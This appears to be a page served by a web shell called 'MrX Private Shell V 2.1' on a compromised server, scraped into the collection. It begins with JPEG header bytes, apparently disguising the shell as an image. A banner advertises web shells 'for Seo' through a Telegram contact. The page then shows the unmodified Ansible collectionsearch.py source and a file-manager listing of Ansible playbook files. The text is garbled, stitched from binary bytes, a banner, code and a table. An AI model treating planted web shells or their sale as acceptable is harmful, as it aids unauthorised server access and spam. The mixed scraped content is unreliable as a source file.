����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright: (c) 2019, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.module_utils.six import string_types
from ansible.playbook.attribute import FieldAttribute
from ansible.utils.collection_loader import AnsibleCollectionConfig
from ansible.template import is_template
from ansible.utils.display import Display
from jinja2.nativetypes import NativeEnvironment
display = Display()
def _ensure_default_collection(collection_list=None):
default_collection = AnsibleCollectionConfig.default_collection
# Will be None when used as the default
if collection_list is None:
collection_list = []
# FIXME: exclude role tasks?
if default_collection and default_collection not in collection_list:
collection_list.insert(0, default_collection)
# if there's something in the list, ensure that builtin or legacy is always there too
if collection_list and 'ansible.builtin' not in collection_list and 'ansible.legacy' not in collection_list:
collection_list.append('ansible.legacy')
return collection_list
class CollectionSearch:
# this needs to be populated before we can resolve tasks/roles/etc
collections = FieldAttribute(isa='list', listof=string_types, priority=100, default=_ensure_default_collection,
always_post_validate=True, static=True)
def _load_collections(self, attr, ds):
# We are always a mixin with Base, so we can validate this untemplated
# field early on to guarantee we are dealing with a list.
ds = self.get_validated_value('collections', self.fattributes.get('collections'), ds, None)
# this will only be called if someone specified a value; call the shared value
_ensure_default_collection(collection_list=ds)
if not ds: # don't return an empty collection list, just return None
return None
# This duplicates static attr checking logic from post_validate()
# because if the user attempts to template a collection name, it may
# error before it ever gets to the post_validate() warning (e.g. trying
# to import a role from the collection).
env = NativeEnvironment()
for collection_name in ds:
if is_template(collection_name, env):
display.warning('"collections" is not templatable, but we found: %s, '
'it will not be templated and will be used "as is".' % (collection_name))
return ds
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| role | Folder | 0755 |
|
|
| __init__.py | File | 4.69 KB | 0644 |
|
| attribute.py | File | 7.58 KB | 0644 |
|
| base.py | File | 32.77 KB | 0644 |
|
| block.py | File | 16.39 KB | 0644 |
|
| collectionsearch.py | File | 2.59 KB | 0644 |
|
| conditional.py | File | 9.89 KB | 0644 |
|
| handler.py | File | 2.2 KB | 0644 |
|
| handler_task_include.py | File | 1.44 KB | 0644 |
|
| helpers.py | File | 16.35 KB | 0644 |
|
| included_file.py | File | 11.32 KB | 0644 |
|
| loop_control.py | File | 1.72 KB | 0644 |
|
| play.py | File | 15.35 KB | 0644 |
|
| play_context.py | File | 14.22 KB | 0644 |
|
| playbook_include.py | File | 7.39 KB | 0644 |
|
| role_include.py | File | 7.72 KB | 0644 |
|
| taggable.py | File | 3.09 KB | 0644 |
|
| task.py | File | 20.8 KB | 0644 |
|
| task_include.py | File | 5.9 KB | 0644 |
|